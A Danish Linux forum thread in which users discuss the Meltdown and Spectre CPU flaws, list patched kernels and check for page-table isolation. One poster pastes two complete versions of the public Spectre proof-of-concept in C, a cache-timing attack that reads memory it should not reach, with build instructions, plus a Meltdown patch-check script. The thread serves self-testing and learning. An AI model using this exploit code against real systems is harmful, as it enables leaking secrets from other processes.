Meltdown og Spectre

osjensen
Antal: 1196
Tilmeldt:
14-01-2007
User is online
Meltdown og Spectre

Efter de seneste sårbarhed, Meltdown og Spectre,
https://www.version2.dk/artikel/meltdown-spectre-e...
er der nye patchede kerner klar, eller på vej.

kernel-4.14.11
kernel-4.14.12
Kernel- 4.4.110
Kernel-4.9.75

Jeg har brugt kernel-4.14.11, et par dage nu, uden nogen mærkbar nedgang i ydelse.

Kernel 4.14.13,
4.9.76, og
4.4.111
er lige udgivet med bedre patches.


mich
mich's picture
Antal: 935
Tilmeldt:
13-10-2007
User is offline
Re: Meltdown og Spectre

Som jeg har forstået det, er Spectra og Meltdown sideeffekter ved moderne processorer, der helst udfører instruktionerne i parallel og somme tider ændrer rækkefølgen i forhold til programmet, og samtidigt forsøger at forudsige logiske valg på baggrund af beregninger, der logisk set ikke er udført endnu.

Det skal jo somme tider gå galt, og da det foregår i hardwaren, er der ingen software patches, der kan redde os. I hvert fald kun i ret begrænset omfang.

Hvad gør vi så? Venter 2-3 år på ny hardware?
Går tilbage (20-25 år) til hardware uden disse problemer?
Bygger vores egne computere?
Går tilbage til papir og blyant?
Lader som ingenting?

https://www.raspberrypi.org/blog/why-raspberry-pi-...
beskriver, hvorfor RaspberryPi ikke er påvirket, men er samtidig en god beskrivelse af selve problemet, og hvordan det er opstået.
Og bundlinien er: Jagten på ydelse uden tanke på sikkerhed.

Læs også https://www.version2.dk/blog/reflektioner-at-stole...

./mich


frogmaster
frogmaster's picture
Antal: 3321
Tilmeldt:
20-05-2010
User is offline
Jeg tror ikke nye kernels

Jeg tror ikke nye kernels vil ændre på det. 4.15.0.1 (på Manjaro) har ikke:
https://www.dropbox.com/s/18q561i55l1zr4w/spectre-...


osjensen
osjensen's picture
Antal: 1196
Tilmeldt:
14-01-2007
User is online
Min mini testGammel

Min mini test

Gammel kerne:
uname -r
4.4.55-pclos1

$ dmesg -H | grep 'page tables isolation'
>Ingen output<

$ cat /proc/cpuinfo | grep pti
fpu_exception : yes
fpu_exception : yes

Ny kerne
uname -r
4.14.12-pclos1

$ dmesg -H | grep 'page tables isolation'
[  +0,000000] Kernel/User page tables isolation: enabled

$ cat /proc/cpuinfo | grep pti
fpu_exception : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl cpuid aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm sse4_1 lahf_lm pti tpr_shadow vnmi flexpriority dtherm ida
fpu_exception : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl cpuid aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm sse4_1 lahf_lm pti tpr_shadow vnmi flexpriority dtherm ida

flags :pti

Klogere hoveder, må vurdere værdien af det.


frogmaster
frogmaster's picture
Antal: 3321
Tilmeldt:
20-05-2010
User is offline
#3Hvad siger den så til

#3

Hvad siger den så til dette her script (navngiv det spectre.c).
Det skal compiles først:

gcc -o spectre spectre.c

og køres i terminalen i mappen scriptet befinder sig i: ./spectre

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif

/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {
  1,
  2,
  3,
  4,
  5,
  6,
  7,
  8,
  9,
  10,
  11,
  12,
  13,
  14,
  15,
  16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];

char * secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

void victim_function(size_t x) {
  if (x < array1_size) {
    temp &= array2[array1[x] * 512];
  }
}

/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
  static int results[256];
  int tries, i, j, k, mix_i, junk = 0;
  size_t training_x, x;
  register uint64_t time1, time2;
  volatile uint8_t * addr;

  for (i = 0; i < 256; i++)
    results[i] = 0;
  for (tries = 999; tries > 0; tries--) {

    /* Flush array2[256*(0..255)] from cache */
    for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */

    /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
    training_x = tries % array1_size;
    for (j = 29; j >= 0; j--) {
      _mm_clflush( & array1_size);
      for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */

      /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
      /* Avoid jumps in case those tip off the branch predictor */
      x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
      x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
      x = training_x ^ (x & (malicious_x ^ training_x));

      /* Call the victim! */
      victim_function(x);

    }

    /* Time reads. Order is lightly mixed up to prevent stride prediction */
    for (i = 0; i < 256; i++) {
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];
      time1 = __rdtscp( & junk); /* READ TIMER */
      junk = * addr; /* MEMORY ACCESS TO TIME */
      time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
      if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
        results[mix_i]++; /* cache hit - add +1 to score for this value */
    }

    /* Locate highest & second-highest results results tallies in j/k */
    j = k = -1;
    for (i = 0; i < 256; i++) {
      if (j < 0 || results[i] >= results[j]) {
        k = j;
        j = i;
      } else if (k < 0 || results[i] >= results[k]) {
        k = i;
      }
    }
    if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
      break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
  }
  results[0] ^= junk; /* use junk so code above won’t get optimized out*/
  value[0] = (uint8_t) j;
  score[0] = results[j];
  value[1] = (uint8_t) k;
  score[1] = results[k];
}

int main(int argc,
  const char * * argv) {
  size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
  int i, score[2], len = 40;
  uint8_t value[2];

  for (i = 0; i < sizeof(array2); i++)
    array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
  if (argc == 3) {
    sscanf(argv[1], "%p", (void * * )( & malicious_x));
    malicious_x -= (size_t) array1; /* Convert input value into a pointer */
    sscanf(argv[2], "%d", & len);
  }

  printf("Reading %d bytes:\n", len);
  while (--len >= 0) {
    printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
    readMemoryByte(malicious_x++, value, score);
    printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
    printf("0x%02X=’%c’ score=%d ", value[0],
      (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
    if (score[1] > 0)
      printf("(second best: 0x%02X score=%d)", value[1], score[1]);
    printf("\n");
  }
  return (0);
}

Edit: Fejlen i linjen; #define CACHE_HIT_THRESHOLD (80) er rettet.


osjensen
osjensen's picture
Antal: 1196
Tilmeldt:
14-01-2007
User is online
#4Som sagt - Klogere

#4
Som sagt - Klogere hoveder, må...............

Du kan evt. eksperimentere med:
https://www.pclinuxos.com/forum/index.php/topic,14...

4.14.12 har forladt test.


frogmaster
frogmaster's picture
Antal: 3321
Tilmeldt:
20-05-2010
User is offline
#5Tak for svaret, men jeg

#5

Tak for svaret, men jeg forstår ikke hvad du mener.

Jeg vil henvise til: https://gist.github.com/ErikAugust/724d4a969fb2c6a... hvor forfatterens script indeholder en fejl (linje 50), beskrevet af kuhar i kommentarerne, der er rette i #4 som forhindrede GCC i at compile spectre.c

Det kan være aktuelt også at læse kommentaren fra crozone


osjensen
osjensen's picture
Antal: 1196
Tilmeldt:
14-01-2007
User is online
#6 Lidt

#6
Lidt forsigtighed.
Scriptet er sikkert helt i orden.
Jeg prøver bare at afholde mig fra scripts, jeg ikke forstår fuldt ud.
Det begrænser selvfølgeligt, mit udvalg. Jeg må læse videre...


frogmaster
frogmaster's picture
Antal: 3321
Tilmeldt:
20-05-2010
User is offline
#7 Naturligvis. Til

#7

Naturligvis. Til oplysning, uden garanti for jeg selv forstår, så vil jeg alligevel nævne at jeg aldrig, under nogen omstændighed, vil anbefale at køre et script jeg ikke først selv har testet. Blot til oplysning.

Jeg er hverken programmør eller hardware-mand, kun system administrator. Derfor har jeg et test miljø skulle jeg kvaje mig. Det her script er testet på både en virtuelt installeret Manjaro og en hardware installeret Mint 18.2. Begge, ifølge scriptet, fortæller CPU sårbarhed.

Virtuelle maskiner synes iøvrigt i stand til at udnytte sårbarhederne i maskinernes hardware CPU.


osjensen
osjensen's picture
Antal: 1196
Tilmeldt:
14-01-2007
User is online
Naturligvis. Til oplysning,

#8
"Naturligvis. Til oplysning, uden garanti for jeg selv forstår, så vil jeg alligevel nævne at jeg aldrig, under nogen omstændighed, vil anbefale at køre et script jeg ikke først selv har testet. Blot til oplysning."

Jeg har aldrig været i tvivl om dine gode hensigter, frogmaster, selv om det jeg skrev, måske kunne opfattes anderledes.
Det var ikke meningen.
Forsigtigheden skyldes mere min egen utilstrækkelighed.

Efter et besøg på Github, er jeg da også bare "forvirret på et højer plan".
Hvad er bedst "score=2" eller score=997?

Nå pyt -
Du skal leve af det.
Jeg skal bare leve med det.


frogmaster
frogmaster's picture
Antal: 3321
Tilmeldt:
20-05-2010
User is offline
Det er min oplevelse at mich

Spectre

Det er min oplevelse at mich beskriver problematikken bedst muligt i #1 på en kort facon.

Det ser ikke ud til der er noget at stille op udover at håbe på, og kræve, at Intel og AMD dokumentere deres CPU i overensstemmelse med open source over tid.

Et andet script fra: https://gist.github.com/ErikAugust/724d4a969fb2c6a...

#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt", on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif

/********************************************************************
Compilation & Execution Instruction

linux# gcc -std=c99 -march=native -pthread -O0 spectre.c -o spectre && ./spectre

macos# clang -O0 spectre.c -o spectre && ./spectre

********************************************************************/

/********************************************************************
Defaults

These will likely require tuning per platform
********************************************************************/

/* Default =  80; assume cache hit if time <= threshold */
#define CACHE_HIT_THRESHOLD 80

/* Default = 999; attempts to hit cache */
#define MAX_TRIES 2500

/********************************************************************
Victim code.
********************************************************************/

unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16};
uint8_t unused2[64];
uint8_t array2[256 * 512];

char secret[] = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

void victim_function(size_t x) {
  if (x < array1_size) {
    temp &= array2[array1[x] * 512];
  }
}

/********************************************************************
Thread code
********************************************************************/

int counter_thread_ended = 0;
uint32_t counter = 0;

void *counter_function(void *x_void_ptr) {
  while (!counter_thread_ended) {
    counter++;
  }

  printf("counter thread finished\n");
  return NULL;
}

/********************************************************************
Analysis code
********************************************************************/

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
  static int results[256];
  int tries, i, j, k, mix_i;
  unsigned int junk = 0;
  size_t training_x, x;
  register uint64_t time1, time2;
  volatile uint8_t *addr;

  for (i = 0; i < 256; i++)
    results[i] = 0;
  for (tries = MAX_TRIES; tries > 0; tries--) {
    /* Flush array2[256*(0..255)] from cache */
    for (i = 0; i < 256; i++)
      _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */

    /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x)
     */
    training_x = tries % array1_size;
    for (j = 29; j >= 0; j--) {
      _mm_clflush(&array1_size);
      for (volatile int z = 0; z < 100; z++) {
      } /* Delay (can also mfence) */

      /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
      /* Avoid jumps in case those tip off the branch predictor */
      x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
      x = (x | (x >> 16));         /* Set x=-1 if j&6=0, else x=0 */
      x = training_x ^ (x & (malicious_x ^ training_x));

      /* Call the victim! */
      victim_function(x);
    }

    /* Time reads. Order is lightly mixed up to prevent stride prediction */
    for (i = 0; i < 256; i++) {
      mix_i = ((i * 167) + 13) & 255;
      addr = &array2[mix_i * 512];
      // time1 = __rdtsc(); /* READ TIMER */
      time1 = counter; /* READ TIMER */
      junk = *addr;    /* MEMORY ACCESS TO TIME */
      // time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
      time2 = counter - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
      if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
        results[mix_i]++; /* cache hit - add +1 to score for this value */
    }

    /* Locate highest & second-highest results results tallies in j/k */
    j = k = -1;
    for (i = 0; i < 256; i++) {
      if (j < 0 || results[i] >= results[j]) {
        k = j;
        j = i;
      } else if (k < 0 || results[i] >= results[k]) {
        k = i;
      }
    }
    if (results[j] >= (2 * results[k] + 5) ||
        (results[j] == 2 && results[k] == 0))
      break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
  }
  results[0] ^= junk; /* use junk so code above won’t get optimized out*/
  value[0] = (uint8_t)j;
  score[0] = results[j];
  value[1] = (uint8_t)k;
  score[1] = results[k];
}

int main(int argc, const char **argv) {
  size_t malicious_x =
      (size_t)(secret - (char *)array1); /* default for malicious_x */
  int i, score[2], len = 40, selected_id = 0, not_selected_id = 1;
  char *not_selected_label = "second";
  char recovered_secret[sizeof(secret)] = "";
  uint8_t value[2];
  char value_normalised[2];

  printf("\n");
  printf("CACHE_HIT_THRESHOLD = %d\n", CACHE_HIT_THRESHOLD);
  printf("          MAX_TRIES = %d\n", MAX_TRIES);

  printf("\n");
  printf("          Size of secret is %lu\n", sizeof(secret));
  printf("Size of recovered_secret is %lu\n", sizeof(recovered_secret));

  printf("\n");
  printf(" Original secret: '%s'\n", secret);
  printf("Recovered secret: '%s'\n", recovered_secret);
  printf("\n");

  // Setup the counter thread
  pthread_t counter_thread;

  if (pthread_create(&counter_thread, NULL, counter_function, NULL)) {
    fprintf(stderr, "Error creating thread\n");
    return 1;
  }
  // End Setup

  for (i = 0; i < sizeof(array2); i++)
    array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
  if (argc == 3) {
    sscanf(argv[1], "%p", (void **)(&malicious_x));
    malicious_x -= (size_t)array1; /* Convert input value into a pointer */
    sscanf(argv[2], "%d", &len);
  }

  printf("Reading %d bytes:\n", len);
  while (--len >= 0) {
    printf("Reading at malicious_x = %p... ", (void *)malicious_x);
    readMemoryByte(malicious_x++, value, score);
    printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));

    selected_id = 0;
    not_selected_id = 1;
    not_selected_label = "second";

    value_normalised[0] = (value[0] > 31 && value[0] < 127) ? value[0] : '?';
    value_normalised[1] = (value[1] > 31 && value[1] < 127) ? value[1] : '?';

    if (value_normalised[0] == '?' && value_normalised[1] != '?') {
      selected_id = 1;
      not_selected_id = 0;
      not_selected_label = "first";
    }

    recovered_secret[strlen(recovered_secret)] = value_normalised[selected_id];

    if (score[1] == 0) {
      printf("0x%02X=’%c’ score=%d ", value[selected_id],
             value_normalised[selected_id], score[selected_id]);
    } else {
      printf("0x%02X=’%c’ score=%d ", value[selected_id],
             value_normalised[selected_id], score[selected_id]);
      printf("(’%c|%c’ %6s: 0x%02X=’%c’ score=%d)", value_normalised[0],
             value_normalised[1], not_selected_label, value[not_selected_id],
             value_normalised[not_selected_id], score[not_selected_id]);
    }
    printf("\n");
  }

  // Start: Exit counter thread
  counter_thread_ended = 1;
  if (pthread_join(counter_thread, NULL)) {
    fprintf(stderr, "Error joining thread\n");
    return 2;
  }
  // End: Exit counter thread

  printf("\n");
  printf(" Original secret: '%s'\n", secret);
  printf("Recovered secret: '%s'\n", recovered_secret);
  printf("\n");

  return (0);
}

----------

Meltdown kan kernel patches:

#!/bin/bash

res="$(zcat /proc/config.gz 2>/dev/null | cat - /boot/config-`uname -r` 2>/dev/null)"

if [[ -z "$res" ]]; then
  echo "Uh well you don't have a config so... I don't know?"
  exit 0
fi

res="$(echo "$res" | grep CONFIG_PAGE_TABLE_ISOLATION)"

if [[ -z "$res" ]]; then
  echo "[!] Kernel not patched [!]"
  exit 0
fi

echo "Kernel is patched :)"

res="$(cat /proc/cpuinfo | grep bug | uniq | grep cpu_insecure)"
if [[ -z "$res" ]]; then
  echo "Good news! Your CPU is not vulnerable to Meltdown! :D"
  exit 0
fi

echo "Your CPU is vulnerable :( But at least you have the patch! :D"

Kør scriptet:
chmod +x check.sh
./check.sh

Kilden er: https://github.com/TheNaterz/MeltdownKernelPatchCh...